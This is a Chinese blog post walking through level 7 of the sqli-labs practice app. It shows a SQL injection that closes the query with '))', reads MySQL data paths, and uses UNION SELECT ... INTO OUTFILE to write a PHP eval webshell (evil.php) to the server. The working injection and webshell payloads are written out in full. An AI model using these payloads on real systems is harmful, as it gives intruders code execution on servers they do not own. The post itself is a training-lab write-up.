• 博客园Logo
  • 首页
  • 新闻
  • 博问
  • 专区
  • 闪存
  • 班级
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 简洁模式 ... 退出登录
    注册 登录
京亟
很多时候,我们以为面前是大海、是沟壑、是深渊,但是当你越过去回头再看的时候,那不过是溪流、是台阶、是浅滩。 联系方式:jinqiqaq@foxmail.com
博客园    首页    新随笔    联系   管理    订阅  订阅

sqli-labs(四)

 

 第七关:

输入?id=1 页面显示如下,可以看出这关大概是锻炼利用sql来写入一句话木马。

这里说我下我的探测流程(主要是为了知道后台的sql是怎样拼凑的):

输入?id=1' 报错  说明后台是用的单引符号进行的拼凑

输入?id=1'%23还是报错

输入?id=1')%23还是报错

输入?id=1'))%23 页面ok了,说明后台需要闭合两个括号,看后台实现

 

同时也可以看到这里报错信息是被注释掉了,也就是说查询不出结果了,报错联合查询和报错查询(以及双查询注入),只能使用盲注。但这关的重点不在这里,我们后面的关卡中会用到盲注的。这关主要是讲如何利用sql写入一句话。

第一步:

由于写入文件需要网站的物理路径(也就是绝对路径),这里需要先从其他关卡中获取路径(实际渗透过程中可以通过报错或其他情况获取路径)。

这里介绍两个mysql的内置变量 @@datadir 读取数据库的路径,@@basedir 读取数据库安装路径id

这里先从第一关中获取路径,输入

 ?id=-1'union%20select%201,@@datadir,@@basedir%23

 

这里将一句话写入D:\phpstudy\PHPTutorial\下
开始写入的时候一直不成功,后来把报错信息打在页面上才发现mysql的配置信息中没有设置secure_file_priv,默认为null,代表不能导入文件

在my.ini中配置secure_file_priv=''即可,值得注意的是路径的\需要转义也就是\\。

第二步:输入一句话到evil.php中

?id=1')) union%20select%201,2,'<?php @eval($_GET["a"]); ?>'%20into%20outfile%20'D:\\phpstudy\\PHPTutorial\\evil.php'%20%23

 

这里代码执行成功了,之所以显示You have an error in your SQL syntax 是和程序有关,查询的行数为0时,会显示这句话,实际上sql并没有报错。

看后台,成功生成了一句话木马。

 

 第三步:访问一句话

 

posted @ 2018-08-23 22:00  京亟QAQ  阅读(321)  评论(0)  编辑  收藏  举报
刷新评论刷新页面返回顶部
Copyright © 2022 京亟QAQ
Powered by .NET 6 on Kubernetes